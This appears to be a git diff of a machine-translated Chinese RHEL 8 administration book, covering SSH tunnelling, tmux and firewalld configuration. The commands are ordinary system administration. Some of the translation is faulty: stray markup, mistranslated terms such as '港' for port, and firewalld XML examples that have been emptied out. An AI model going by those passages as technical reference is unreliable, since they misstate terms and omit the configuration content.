**比如,我们可以创建一个堡垒主机到达隧道使用我们内部邮件服务器通过**互联网信息访问协议**(**IMAP)和**简单邮件传输协议**(**【显示】SMTP)协议,执行下面的代码: - -```sh -ssh –L 10993:imap.example.com:993 –L 10025:smtp.example.com:25 user@bastionhost -``` - -该命令将监听本地端口`10993`和`10025`。 所有在那里执行的连接都将被隧道化,直到`bastionhost`将这些连接连接到`993`端口的`imap.example.com`和`smtp.example.com`端口的`25`。 这允许我们的本地系统使用这些自定义端口配置我们的电子邮件帐户,并使用`localhost`作为服务器,并且仍然能够到达这些服务。 - -提示 - -`1024`下的端口被认为是特权端口,通常只有 root 用户可以将服务绑定到这些端口。 这就是为什么我们将它们用于重定向端口`10025`和`10093`,以便普通用户可以使用它们,而不是要求根用户执行`ssh`连接。 当您试图绑定到本地端口时,请注意`ssh`消息,以防这些端口正在使用,因为连接可能会失败。 - -此外,从目标服务器的角度来看,连接看起来就好像它们起源于堡垒服务器,因为它是有效执行连接的服务器。 - -当开放端口的列表开始成长,最好是回到我们在本章的开始解释:`~/.ssh/config`文件可以保存主机定义,以及我们想要创建的重定向,如本例所示: - -```sh -Host bastion - ProxyCommand none - Compression yes - User myuser - HostName mybastion.example.com - Port 330 - LocalForward 2224 mail.example.com:993 - LocalForward 2025 smtp.example.com:25 - LocalForward 2227 ldap.example.com:389 - DynamicForward 9999 -``` - -在这个例子中,当我们连接到堡垒主机(通过`ssh bastion`),我们会自动启用压缩**,设置主机连接到`mybastion.example.com``330`港,并为我们定义端口转发`imap`,`smtp`和`ldap`服务器和一个动态向前(袜子代理)港`9999`。 如果我们有不同的身份(密钥对),我们还可以定义一个我们希望使用通过`IdentityFile`每个主机的配置指令,甚至使用通配符,如【显示】自动这些选项适用于主机结束在这个领域没有特定的配置节。** - -请注意 - -有时,在使用`ssh`、`scp`或`sftp`时,目标是到达可以从堡垒主机访问的系统。 这里不需要其他端口转发-只需要到达这些系统。 在这种情况下,您可以使用方便的`–J`命令行选项(相当于定义一个`ProxyJump`指令)来将该主机用作跳转到您想要到达的最终目标的主机。 例如,`ssh –J bastion mywebsiteserver.example.com`将透明地连接到`bastion`并从那里跳转到`mywebsiteserver.example.com`。 - -在下一节中,我们将学习如何通过远程连接保护自己免受网络问题的影响,并最大限度地利用远程终端连接。 - -# 具有 tmux 的远程终端 - -`tmux`是一个终端多路复用器,它允许我们在一个屏幕上打开并访问多个终端。 一个很好的类比是图形桌面中的窗口管理器,它允许我们打开多个窗口,这样我们就可以在只使用一个监视器的情况下切换上下文。 - -`tmux`还允许我们分离和重新连接到会话,所以它是在我们的连接下降的情况下的完美工具。 例如,考虑在服务器上执行软件升级。 如果由于某种原因,连接中断,这将等同于突然停止升级过程,无论它当时处于什么状态,这可能会导致不好的后果。 但是,如果在`tmux`内部启动升级,则命令将继续执行,并且在连接恢复后,可以重新连接会话,并且可以检查输出。 - -首先,让我们通过`dnf –y install tmux`将其安装到我们的系统中。 这一行将下载软件包并使`tmux`命令可用。 请记住,`tmux`的目标不是将其安装在我们的系统上(即使这是有用的),而是让它在我们所连接的服务器上可用,以便在发生断开连接时获得额外的保护层。 所以,习惯在我们连接的所有服务器上安装它是一个好习惯。 - -提示 - -在`RHEL8`之前的版本中,用于创建虚拟多路复用终端的工具是`screen`,该工具已被标记为已弃用,只能通过`EPEL`存储库使用。 如果您已经习惯了它的键绑定(`CTRL-A + ),那么大多数键绑定都相当于`tmux`via(`CTRL-B + `)。 - -在下面的截图中,我们可以看到在命令行上执行`tmux`后,`tmux`与默认配置是什么样子的: - -![Figure 8.20 – tmux default layout after execution ](img/B16799_08_020.jpg) - -图 8.20 - tmux 执行后的默认布局 - -如上图所示,除了窗口下方的状态栏,它并没有改变我们终端的视图。 这显示了主机的一些信息,例如它的名称、时间、日期和打开的窗口列表,其中`0:bash`是活动窗口,用星号(`*`)符号表示。 - -有很多使用`tmux`的组合,所以让我们熟悉其中的一些,以涵盖最初的用例: - -* 运行`tmux`命令创建新会话。 -* 运行`tmux at`连接到前一个会话(例如,重新连接到主机后)。 -* 运行`tmux at –d`连接到前一个会话,并从该会话中分离其他连接。 - -一旦我们进入`tmux`内部,就是我们可以使用的由`CTRL+B`键前面的整个命令世界。 让我们查看一些重要的(记住*Ctrl + B*在你使用列表中的下一个项目之前必须按下): - -* `?`:显示有关要使用的快捷方式的内联帮助。 -* `c`:创建新窗口。 -* `n`/`p`:转到下一个/上一个窗口。 -* `d`:断开`tmux`会话。 -* `0-9`:到按下的号码编号的窗口。 -* `,`:重命名窗口。 -* `"`:水平劈开窗格。 -* `%`:垂直拆分窗格。 -* `space`:切换到下一个布局。 -* `&`:杀死窗户。 -* `Pg down`/`pg up`:窗口历史上的高点或低点。 -* 方向键:选择按下键方向的窗格。 - -让我们看看下面的截图中的一个例子: - -![Figure 8.21 – tmux with four panes running different commands inside the same window ](img/B16799_08_021.jpg) - -图 8.21 - tmux 的四个窗格在同一个窗口中运行不同的命令 - -我们可以看到,有几个命令运行在同一时间——`top`、`journalctl –f`,`iostat –x`和`ping`——这是一个好方法来监控系统,同时操作被执行。 - -此外,的一个优势是,`tmux`可以照本宣科,如果我们使用一个布局,管理系统,我们可以复制脚本并执行它当我们连接到它们,这样我们可以享受相同的布局,甚至被执行的命令。 - -如果你想在你的系统上尝试它,你可以在[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-08-remote-systems-administration/term.sh](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-08-remote-systems-administration/term.sh)找到以下带有额外注释和描述的代码: - -```sh -#!/bin/bash -SESSION=$USER -tmux -2 new-session -d -s $SESSION # create new session -tmux select-window -t $SESSION:0 # select first window -tmux rename-window -t $SESSION "monitoring" #rename to monitoring -tmux split-window –h #split horizontally -tmux split-window –v #split vertically -tmux split-window –h # split again horizontally -tmux select-layout tiled #tile panes -tmux selectp –t1 # select pane 1 -tmux send-keys "top" C-m #run top by sending the letters + RETURN -tmux selectp –t2 # select pane 2 -tmux send-keys "journalctl -f" C-m # run journalctl -tmux selectp –t3 # select pane 3 -tmux send-keys "iostat -x" C-m # run iostat -tmux selectp –t0 #select the pane without commands executed -``` - -一旦设置了带有`tmux`的会话,我们就可以通过执行`tmux`来附加刚刚创建并配置的会话,这将显示类似于前面截图所示的布局。 - -# 总结 - -在本章中,我们介绍了 SSH 以及如何使用它连接到远程系统,如何使用密钥进行有密码或无密码的身份验证,以及如何利用它实现自动化、传输文件,甚至通过端口重定向使服务可访问或可访问。 通过`tmux`,我们了解了如何使我们的管理会话在网络中断的情况下存活,同时,通过自动化其布局,使重要信息一眼就能显示出来。 - -在下一章中,我们将深入研究如何通过防火墙保护系统网络,从而只暴露操作所需的服务。** \ No newline at end of file diff --git a/docs/rhel8-admin/09.md b/docs/rhel8-admin/09.md deleted file mode 100644 index 554f24c8..00000000 --- a/docs/rhel8-admin/09.md +++ /dev/null @@ -1,600 +0,0 @@ -# 九、使用防火墙保护网络连接 - -一位在军事受限环境下工作的伟大导师和技术专家曾经告诉我,*“唯一安全的系统是关闭的,与任何网络断开,埋在沙漠中央的系统。” 当然,他是对的,但是我们必须提供一种服务,使系统有用。 这意味着让它运行并连接到网络。* - -安全性中用于减少事故的技术之一(例如避免意外暴露漏洞并启用未经授权的远程访问)是减少攻击表面并应用深度防御原则。 当您在网络中这样做时,第一步是使用**防火墙**过滤连接。 Red Hat Enterprise Linux(**RHEL**)中包含的防火墙管理工具是**防火墙**,它帮助我们管理区域、配置文件、服务和端口。 它还包括一个名为`firewall-cmd`的命令行工具和一个`systemd`服务单元,以简化其管理。 - -在本章中,我们将涵盖以下主题,以更好地理解如何管理 RHEL 中的默认防火墙: - -* RHEL 防火墙简介-防火墙 -* 在系统上启用防火墙并检查默认区域 -* 检查防火墙下的不同配置项 -* 启用和管理服务和端口 -* 创建和使用防火墙的服务定义 -* 使用 web 界面配置防火墙 - -# RHEL 防火墙简介-防火墙 - -RHEL 提供了两种底层网络流量过滤机制:**nftables**,用于过滤 ip 相关的流量;**ebtables**,用于网桥中的透明过滤。 这些机制是静态的,使用一组规则来接受或拒绝流量,尽管它们确实提供了无数其他功能。 在 RHEL 中,它们都由**防火墙**动态处理和管理。 除非有特定的需要有非常低级的使用这些低级过滤机制,请使用防火墙(或其主命令; 即`firewall-cmd`)。 在本节中,我们将了解 RHEL 中的防火墙默认设置。 - -防火墙在系统中默认安装,我们可以使用`rpm`命令检查,所以不需要安装: - -```sh -[root@rhel8 ~]# rpm -qa | grep firewalld -firewalld-filesystem-0.8.2-2.el8.noarch -firewalld-0.8.2-2.el8.noarch -``` - -如果我们的安装由于某些原因没有包含防火墙,我们可以通过运行`dnf install firewalld`来安装它。 - -防火墙包括一个名为`firewalld`的服务,该服务被配置为在启动时默认运行。 我们可以使用`systemctl status firewalld`命令来检查: - -![Figure 9.1 – Output of "systemctl status firewalld" ](img/B16799_09_001.jpg) - -图 9.1 - "systemctl status firewalld"的输出 - -可以看到,`firewalld`服务已启用并正在运行。 这是 RHEL 系统中的默认状态。 - -系统管理员配置防火墙的主要方式是使用`firewall-cmd`命令。 但是,你也可以做以下事情: - -* 在`/etc/firewalld/`中添加带有服务定义的新文件(如本章*为防火墙创建和使用服务定义*部分所述) -* 使用 web 界面,即**座舱**来配置防火墙(如本章*使用 web 界面*配置防火墙部分所述) -* 在桌面环境中使用`firewall-config`图形界面 - -在本章中,我们将回顾主要的机制和网页界面。 - -现在我们已经知道了 RHEL 主防火墙的默认设置,让我们学习如何启用它。 - -# 在系统中启用防火墙,并查看默认分区 - -我们已经看到**防火墙**在系统中默认是启用的。 然而,我们可能需要禁用(即检查防火墙是否干扰了服务),重新启用(即在恢复配置文件之后),并启动和停止它(即重新加载配置或进行快速检查)。 这些任务的管理方式与系统中的任何其他服务一样; 即使用`systemctl`。 让我们停止`firewalld`服务: - -```sh -[root@rhel8 ~]# systemctl stop firewalld -[root@rhel8 ~]# systemctl status firewalld - firewalld.service - firewalld - dynamic firewall daemon - Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled) - Active: inactive (dead) since Sun 2021-02-28 17:36:45 CET; 4s ago - Docs: man:firewalld(1) - Process: 860 ExecStart=/usr/sbin/firewalld --nofork --nopid $FIREWALLD_ARGS (code=exited, status=> -Main PID: 860 (code=exited, status=0/SUCCESS) - -feb 28 17:36:19 rhel8.example.com systemd[1]: Starting firewalld - dynamic firewall daemon... -feb 28 17:36:20 rhel8.example.com systemd[1]: Started firewalld - dynamic firewall daemon. -feb 28 17:36:20 rhel8.example.com firewalld[860]: WARNING: AllowZoneDrifting is enabled. This is co> -feb 28 17:36:45 rhel8.example.com systemd[1]: Stopping firewalld - dynamic firewall daemon... -feb 28 17:36:45 rhel8.example.com systemd[1]: firewalld.service: Succeeded. -feb 28 17:36:45 rhel8.example.com systemd[1]: Stopped firewalld - dynamic firewall daemon. -``` - -在前面的输出中,如粗体所示,服务处于非活动状态。 我们可以使用`firewall-cmd --state`命令来检查: - -```sh -[root@rhel8 ~]# firewall-cmd --state -not running -``` - -目前,防火墙服务已经停止,所有的规则都已被删除。 但是,服务的配置没有改变,所以如果我们重新启动系统,防火墙将再次运行。 - -提示 - -通过运行`nft list table filter`命令,我们总是可以看到底层的`netfilter`规则。 您可能希望在停止服务之前和之后运行它,以查看差异。 - -现在,让我们再次尝试启动服务: - -```sh -[root@rhel8 ~]# systemctl start firewalld -[root@rhel8 ~]# systemctl status firewalld - firewalld.service - firewalld - dynamic firewall daemon - Loaded: loaded (/usr/lib/systemd/system/firewalld.service; enabled; vendor preset: enabled) - Active: active (running) since Sun 2021-02-28 17:43:31 CET; 7s ago - Docs: man:firewalld(1) -Main PID: 1518 (firewalld) - Tasks: 2 (limit: 8177) - Memory: 23.3M - CGroup: /system.slice/firewalld.service - └─1518 /usr/libexec/platform-python -s /usr/sbin/firewalld --nofork –nopid -``` - -让我们检查防火墙是否在运行: - -```sh -[root@rhel8 ~]# firewall-cmd --state -running -``` - -要完全禁用该服务,我们需要运行以下命令: - -```sh -[root@rhel8 ~]# systemctl disable firewalld -Removed /etc/systemd/system/multi-user.target.wants/firewalld.service. -Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service. -``` - -让我们看看如何禁用服务,但仍然运行: - -```sh -[root@rhel8 ~]# systemctl status firewalld -n0 - firewalld.service - firewalld - dynamic firewall daemon - Loaded: loaded (/usr/lib/systemd/system/firewalld.service; disabled; vendor preset: enabled) - Active: active (running) since Sun 2021-02-28 17:43:31 CET; 8min ago - Docs: man:firewalld(1) -Main PID: 1518 (firewalld) - Tasks: 2 (limit: 8177) - Memory: 24.1M - CGroup: /system.slice/firewalld.service - └─1518 /usr/libexec/platform-python -s /usr/sbin/firewalld --nofork –nopid -``` - -当你服务与管理**systemd 使用`systemctl`**,你需要明白,启用和禁用该服务只会影响表现在启动顺序,同时启动和停止只会影响服务的当前状态。 - -提示 - -要在一个命令中禁用和停止,可以使用`--now`选项; 例如:`systemctl disable firewalld --now`。 这个选项也可以用来启用和启动; 例如`systemctl enable firewalld --now`。 - -让我们重新启用服务,并确保它在运行: - -```sh -[root@rhel8 ~]# systemctl enable firewalld --now -Created symlink /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service → /usr/lib/systemd/system/firewalld.service. -Created symlink /etc/systemd/system/multi-user.target.wants/firewalld.service → /usr/lib/systemd/system/firewalld.service. -[root@rhel8 ~]# firewall-cmd --state -running -``` - -既然我们知道了如何启动和停止,以及如何启用和禁用`firewalld`服务,那么让我们了解配置结构,并通过查看默认配置了解如何与之交互。 - -## 检查防火墙下的不同配置项 - -防火墙在其配置中管理三个概念: - -* **区域**:防火墙区域是一组可以一起激活并分配给网络接口的规则。 它包括不同的服务和规则,还包括改变网络流量过滤行为的设置。 -* **服务**:防火墙服务是一个端口或一组端口,必须为特定的系统服务(因此得名)配置在一起,才能正常工作。 -* **端口**:防火墙端口包括端口号(即`80`)和一种流量类型(即 TCP),可用于手动启用网络流量到自定义系统服务。 - -防火墙管理两种类型的配置: - -* **Running**:当前已经应用到系统的规则。 -* **Permanent**: The rules that have been saved and will be loaded when the service starts. - - 重要提示 - - 运行与永久的概念是在运行的系统中尝试网络过滤规则,一旦确保它们正常工作,将它们保存为永久的。 记得检查您想要在系统中保存的规则是否正确。 - -现在,让我们检查一下我们的系统,看看哪些区域可用: - -```sh -[root@rhel8 ~]# firewall-cmd --get-zones -block dmz drop external home internal nm-shared public trusted work -``` - -让我们也检查一下哪个区域是默认应用的: - -```sh -[root@rhel8 ~]# firewall-cmd --get-default-zone -public -``` - -让我们通过查看下表来回顾防火墙中可用的区域: - -![](img/B16799_09_Table_9.1.jpg) - -重要提示 - -通过运行`man firewalld.zones`访问系统中可用的`firewalld.zones`手动页面,您总是可以访问关于这些区域的信息,甚至更多信息。 复习前面提到的手册页面是一个很好的练习。 - -前面提到的服务将在下一节中进行更详细的讨论。 现在,让我们学习如何管理区域。 - -让我们将默认区域更改为`home`: - -```sh -[root@rhel8 ~]# firewall-cmd --set-default-zone=home -success -[root@rhel8 ~]# firewall-cmd --get-default-zone -home -``` - -我们可以建立一个`public`区域作为默认值,并分配一个`home`区域到我们的本地网络: - -```sh -[root@rhel8 ~]# firewall-cmd --set-default-zone=public -success -[root@rhel8 ~]# firewall-cmd --permanent --zone=internal \ ---add-source=192.168.122.0/24 -success -[root@rhel8 ~]# firewall-cmd --reload -success -[root@rhel8 ~]# firewall-cmd --get-active-zones -internal - sources: 192.168.122.0/24 -public - interfaces: enp1s0 -``` - -这个配置允许我们只将服务发布到本地网络,该网络被定义为`192.168.122.0/24`并分配给`internal`区域。 从现在起,分配给`internal`区域的任何服务或端口只有在从内部网络中的 IP 地址访问时才可以访问。 我们避免允许从其他网络访问这些服务。 - -另外,要使服务能够从任何其他网络访问,我们只需要将它们分配到`public`区域。 - -让我们回顾一下使用的主要选项和其他一些可能有用的选项: - -* `--get-zones`:列出系统中已经配置的 zone。 -* `--get-default-zone`:显示默认配置的区域。 -* `--set-default-zone=`:设置默认区域。 这将应用于运行和永久配置 -* `--get-active-zones`:显示正在使用的区域所应用的网络/接口。 -* `--zone=`:为其他选项指定区域。 -* `--permanent`:用于将更改应用到已保存的配置。 当您使用此选项时,更改将不会应用于正在运行的配置。 -* `--reload`:在运行时加载保存的配置。 -* `--add-source=`:在指定区域中添加 CIDR 格式的源网络。 如果没有指定,则使用默认区域。 更改应用于运行配置; 使用`--permanent`保存它们。 -* `--remove-source=`:移除 CIDR 格式的源网络到指定区域。 如果没有指定,则使用默认区域。 更改应用于运行配置; 使用`--permanent`保存它们。 -* `--add-interface=`:接口到区域的路由。 如果没有指定,则使用默认区域。 -* `--change-interface=`:将路由到接口的流量改变为区域。 如果没有指定,则使用的默认区域。 - -虽然这个选项列表可能非常有用,但是在`firewall-cmd`的手册页上可以找到完整的选项列表。 您应该检查此页面,因为您将经常使用它,当您重新配置您的防火墙选项。 - -提示 - -要查看`firewall-cmd`手册页面,只需运行`man firewall-cmd`。 - -现在,我们已经了解了什么是区域以及如何选择它们,让我们学习如何管理服务和端口。 - -# 启用和管理服务和端口 - -正如我们在前一节中提到的,**防火墙服务**是一个端口或一组端口,它们被配置在一起,用于特定的系统服务(因此得名)正常工作。 在可用的**防火墙区域**的一个或多个中默认启用了一组服务。 让我们先来回顾一下: - -* **ssh**:提供对系统**Secure Shell**(**ssh**)服务的访问,并提供远程管理功能。 被接受的流量进入端口`22`,并且是`TCP`类型。 -* **mdns**:提供对**组播 DNS**(**mdns**)服务的访问,用于在本地网络中宣布服务。 在端口`5353`上,可以接收到组播地址`224.0.0.251`(IPv4)或`ff02::fb`(IPv6),类型为`UDP`。 -* **ipp-client**:提供进入**互联网打印协议**(【显示】**IPP)的客户,去港口`631`,并使用`UDP`协议。** -* **samba-client**:这是一个与 Microsoft Windows 兼容的文件和打印共享客户端。 它使用端口`137`和`138`,属于`UDP`类型。 -* **dhcpv6-client**:A**Dynamic Host Configuration Protocol**(**DHCP**)for IPv6 它的目的地是特殊的网络`fe80::/64`,它的端口是`546`,并且是`UDP`类型。 -* **座舱**:针对 RHEL 的 web 管理界面。 其目的地为`9090`端口,为`TCP`类型。 - -如您所见,防火墙服务可以指定多个端口、一个目标地址,甚至一个目标网络。 - -现在,让我们看看在我们的防火墙中配置的服务: - -```sh -[root@rhel8 ~]# firewall-cmd --list-services -cockpit dhcpv6-client ssh -[root@rhel8 ~]# firewall-cmd --list-services --zone=internal -cockpit dhcpv6-client mdns samba-client ssh -``` - -请注意,当您没有建立一个区域时,显示的服务是与默认区域相关的——在本例中是`public`。 但是,考虑到我们已经配置了多个区域。 - -现在,让我们安装一个 web 服务器-在本例中,Apache`httpd`服务器: - -```sh -[root@rhel8 ~]# dnf install httpd -y -Updating Subscription Management repositories. -Last metadata expiration check: 0:25:05 ago on lun 01 mar 2021 17:02:09 CET. -Dependencies resolved. -==================================================================================================== -Package Arch Version Repository Size -==================================================================================================== -Installing: -httpd x86_64 2.4.37-30.module+el8.3.0+7001+0766b9e7 rhel-8-for-x86_64-appstream-rpms 1.4 M -Installing dependencies: -apr x86_64 1.6.3-11.el8 rhel-8-for-x86_64-appstream-rpms 125 k -[omitted] -Installed: - apr-1.6.3-11.el8.x86_64 - apr-util-1.6.1-6.el8.x86_64 - apr-util-bdb-1.6.1-6.el8.x86_64 - apr-util-openssl-1.6.1-6.el8.x86_64 - httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 - httpd-filesystem-2.4.37-30.module+el8.3.0+7001+0766b9e7.noarch - httpd-tools-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 - mailcap-2.1.48-3.el8.noarch - mod_http2-1.15.7-2.module+el8.3.0+7670+8bf57d29.x86_64 - redhat-logos-httpd-81.1-1.el8.noarch - -Complete! -``` - -让启用并启动`httpd`服务: - -```sh -[root@rhel8 ~]# systemctl enable httpd --now -Created symlink /etc/systemd/system/multi-user.target.wants/httpd.service → /usr/lib/systemd/system/httpd.service. -[root@rhel8 ~]# systemctl status httpd -n0 -● httpd.service - The Apache HTTP Server - Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled) - Active: active (running) since Mon 2021-03-01 17:31:57 CET; 8s ago - Docs: man:httpd.service(8) -Main PID: 2413 (httpd) - Status: "Started, listening on: port 80" - Tasks: 213 (limit: 8177) - Memory: 25.0M - CGroup: /system.slice/httpd.service - ├─2413 /usr/sbin/httpd -DFOREGROUND - ├─2414 /usr/sbin/httpd -DFOREGROUND - ├─2415 /usr/sbin/httpd -DFOREGROUND - ├─2416 /usr/sbin/httpd -DFOREGROUND - └─2417 /usr/sbin/httpd -DFOREGROUND -``` - -现在,让我们检查一下服务是否正在监听所有的接口: - -```sh -[root@rhel8 ~]# ss -a -A "tcp" | grep http -LISTEN 0 128 *:http *:* -``` - -可选地,我们可以通过使用外部机器(如果有的话)检查端口是否打开: - -```sh -[root@external:~]# nmap 192.168.122.8 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-01 17:45 CET -Nmap scan report for rhel.redhat.lan (192.168.122.8) -Host is up (0.00032s latency). -Not shown: 998 filtered ports -PORT STATE SERVICE -22/tcp open ssh -9090/tcp closed zeus-admin -MAC Address: 52:54:00:E6:B4:A4 (QEMU virtual NIC) - -Nmap done: 1 IP address (1 host up) scanned in 5.15 seconds -``` - -现在,我们可以在防火墙上启用`http`服务: - -```sh -[root@rhel8 ~]# firewall-cmd --add-service http \ ---zone=public --permanent -success -[root@rhel8 ~]# firewall-cmd --add-service http \ ---zone=internal --permanent -success -[root@rhel8 ~]# firewall-cmd --reload -success -[root@rhel8 ~]# firewall-cmd --list-services -cockpit dhcpv6-client http ssh -[root@rhel8 ~]# firewall-cmd --list-services --zone=internal -cockpit dhcpv6-client http mdns samba-client ssh -``` - -这样,服务就被启用了,端口也打开了。 我们可以从外部机器验证这一点,就像这样(这是可选的): - -```sh -[root@external:~]# nmap 192.168.122.8 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-01 17:50 CET -Nmap scan report for rhel.redhat.lan (192.168.122.8) -Host is up (0.00032s latency). -Not shown: 997 filtered ports -PORT STATE SERVICE -22/tcp open ssh -80/tcp open http -9090/tcp closed zeus-admin -MAC Address: 52:54:00:E6:B4:A4 (QEMU virtual NIC) - -Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds -``` - -现在我们可以看到端口`80`打开了。 我们也可以从 web 服务器检索主页面,并显示第一行: - -```sh -[root@external:~]# curl -s http://192.168.122.8 | head -n 1 - -``` - -重要提示 - -防火墙中服务的定义保存在`/usr/lib/firewalld/services`目录中的独立文件中。 如果你需要一个服务的细节,你可以去那里检查文件和它的定义。 - -现在,让我们尝试从公共网络中删除该服务,因为这将是一个内部服务: - -```sh -[root@rhel8 ~]# firewall-cmd --list-services --zone=public -cockpit dhcpv6-client http ssh -[root@rhel8 ~]# firewall-cmd --remove-service http \ ---zone=public --permanent -success -[root@rhel8 ~]# firewall-cmd --reload -success -[root@rhel8 ~]# firewall-cmd --list-services --zone=public -cockpit dhcpv6-client ssh -``` - -让我们假设我们没有服务定义,并且我们仍然希望在`public`接口中的`TCP`上打开端口`80`: - -```sh -[root@rhel8 ~]# firewall-cmd --list-ports --zone=public - -[root@rhel8 ~]# firewall-cmd --add-port 80/tcp --zone=public --permanent -success -[root@rhel8 ~]# firewall-cmd --reload -success -[root@rhel8 ~]# firewall-cmd --list-ports --zone=public -80/tcp -``` - -我们可以一次回顾端口和服务,如下所示: - -```sh -[root@rhel8 ~]# firewall-cmd --list-all --zone=public -public (active) - target: default - icmp-block-inversion: no - interfaces: enp1s0 - sources: - services: cockpit dhcpv6-client ssh - ports: 80/tcp - protocols: - masquerade: no - forward-ports: - source-ports: - icmp-blocks: - rich rules: -``` - -现在,我们可以移除端口: - -```sh -[root@rhel8 ~]# firewall-cmd --list-ports --zone=public -80/tcp -[root@rhel8 ~]# firewall-cmd --remove-port 80/tcp --zone=public --permanent -success -[root@rhel8 ~]# firewall-cmd --reload -success -[root@rhel8 ~]# firewall-cmd --list-ports --zone=public - -[root@rhel8 ~]# -``` - -这样,我们就知道了如何在防火墙中添加和删除服务和端口,并检查它们的状态。 让我们回顾一下`firewall-cmd`可以使用的选项: - -* `--zone=`:指定分区。 当没有指定 zone 时,使用默认的 zone。 -* `--list-services`:显示指定 zone 的服务列表。 -* `--add-service`:向指定区域添加服务。 -* `--remove-service`:从指定区域移除服务。 -* `--list-ports`:列出指定区域内开放的端口。 -* `--add-port`:将端口加入指定的 zone。 -* `--remove-port`:从指定的 zone 中移除端口。 -* `--list-all`:列出与指定 zone 相关联的端口、服务和所有配置项。 -* `--permanent`:规则将应用到保存的配置,而不是运行中的配置。 -* `--reload`:从保存的配置重新加载规则。 - -现在我们知道了如何将服务和端口分配到防火墙中的不同区域,让我们看看如何定义它们。 - -# 创建和使用防火墙的服务定义 - -防火墙的服务定义存储在`/usr/lib/firewalld/services`目录中。 让我们来看一个简单的服务,例如存储在`ssh.xml`文件中的`ssh`服务,其内容如下: - -```sh - - - SSH - Secure Shell (SSH) is a protocol for logging into and executing commands on remote machines. It provides secure encrypted communications. If you plan on accessing your machine remotely via SSH over a firewalled interface, enable this option. You need the openssh-server package installed for this option to be useful. - - -``` - -这里,我们可以看到,只有需要一个包含三个部分的 XML 文件来描述一个基本服务: - -* `short`:服务的简称 -* `description`:对服务的详细描述 -* `port`:为该服务打开的端口 - -假设我们想在服务器上安装一个 Oracle 数据库。 我们必须打开`1521`端口,并且它必须是`TCP`类型。 让我们创建包含以下内容的`/etc/firewalld/services/oracledb.xml`文件: - -```sh - - - OracleDB - - Oracle Database firewalld service. It allows connections to the Oracle Database service. You will need to deploy Oracle Database in this machine and enable it for this option to be useful. - - -``` - -我们可以使用下面的代码来启用它: - -```sh -[root@rhel8 ~]# firewall-cmd --reload -success -[root@rhel8 ~]# firewall-cmd --add-service oracledb -success -[root@rhel8 ~]# firewall-cmd --list-services -cockpit dhcpv6-client oracledb ssh -``` - -现在,可以在运行配置中使用它了。 我们可以像这样将它添加到永久配置中: - -```sh -[root@rhel8 ~]# firewall-cmd --add-service oracledb --permanent -success -``` - -提示 - -开设更复杂的服务的情况并不常见。 在任何情况下,描述如何创建防火墙服务的手册页面是`firewalld.service`,可以通过运行`man firewalld.service`打开。 - -这样,我们就有了一种简单的方法来标准化要在系统防火墙中打开的服务。 我们可以在配置存储库中包含这些文件,以便与整个团队共享它们。 - -现在我们可以创建一个服务了,让我们看看在 RHEL 中配置防火墙的一种更简单的方法; 也就是说,使用网络界面。 - -# 通过 web 界面配置防火墙 - -要使用 RHEL8 的 RHEL web 管理界面,必须安装它。 运行它的包和服务都称为`cockpit`。 我们可以通过运行以下代码来安装它: - -```sh -[root@rhel8 ~]# dnf install cockpit -y -Updating Subscription Management repositories. -[omitted] -Installing: -cockpit x86_64 224.2-1.el8 rhel-8-for-x86_64-baseos-rpms 74 k -[omitted] - cockpit-224.2-1.el8.x86_64 - cockpit-bridge-224.2-1.el8.x86_64 - cockpit-packagekit-224.2-1.el8.noarch - cockpit-system-224.2-1.el8.noarch - cockpit-ws-224.2-1.el8.x86_64 - -Complete! -``` - -现在,让我们启用它: - -```sh -[root@rhel8 ~]# systemctl enable --now cockpit.socket -Created symlink /etc/systemd/system/sockets.target.wants/cockpit.socket → /usr/lib/systemd/system/cockpit.socket. -``` - -提示 - -驾驶舱使用了一个聪明的技巧来节省资源。 接口停止,但有套接字在端口`9090`上启用侦听。 当它接收到一个连接,驾驶舱开始。 这样,它只会在使用机器时消耗机器中的资源。 - -现在,让我们学习如何将`DNS`服务添加到的`public`区域。 - -让我们通过将浏览器指向机器的 IP 和端口`9090`(在本例中为`https://192.168.122.8:9090`)来访问座舱。 使用安装时提供的密码`root`登录: - -![Figure 9.2 – Cockpit login screen ](img/B16799_09_002.jpg) - -图 9.2 -座舱登录界面 - -现在,我们可以进入驾驶舱的仪表盘,其中包含系统的信息: - -![Figure 9.3 – Cockpit initial screen and dashboard ](img/B16799_09_003.jpg) - -图 9.3 -驾驶舱初始屏幕和仪表盘 - -现在,我们进入**网络**,然后点击**防火墙**,如下图所示: - -![Figure 9.4 – Cockpit accessing the firewall configuration ](img/B16799_09_004.jpg) - -图 9.4 -座舱访问防火墙配置 - -此时,我们可以点击**公共区域**区域中的**Add Services**对其进行修改,再添加一个服务: - -![Figure 9.5 – Cockpit firewall configuration interface ](img/B16799_09_005.jpg) - -图 9.5 -座舱防火墙配置界面 - -将**dns**服务添加到防火墙的**公共区域**部分的步骤很简单: - -1. 点击**Services**。 -2. 通过在服务中键入`dns`来筛选服务。 -3. 选择带有**TCP:53**和**UDP:53**的**dns**服务。 -4. 点击**添加服务**: - -![Figure 9.6 – Cockpit firewall – adding a service to a public zone ](img/B16799_09_006.jpg) - -图 9.6 -座舱防火墙-向公共区域添加服务 - -完成此操作后,将把服务添加到正在运行的和永久的配置中。 将在驾驶舱**公共区**区域显示: - -![Figure 9.7 – Cockpit firewall – the result of a service DNS being added to a public zone ](img/B16799_09_007.jpg) - -图 9.7 -座舱防火墙-将服务 DNS 添加到公共区域的结果 - -这样,我们就知道了如何使用 web 接口修改 RHEL8 中的防火墙。 我们将把它留给你作为练习来删除和重做我们在本章开始时用命令行做的配置,但用 web 界面代替。 - -# 总结 - -安全性是系统管理的一个非常重要的部分。 仅仅因为系统处于孤立的网络中,就禁用系统上的安全措施,这违反了深度防御原则,因此不建议这样做。 - -在本章中,我们看到了在 RHEL8 中使用防火墙配置防火墙是多么简单和容易,从而为我们提供了另一个工具来管理、过滤和保护系统中的网络连接。 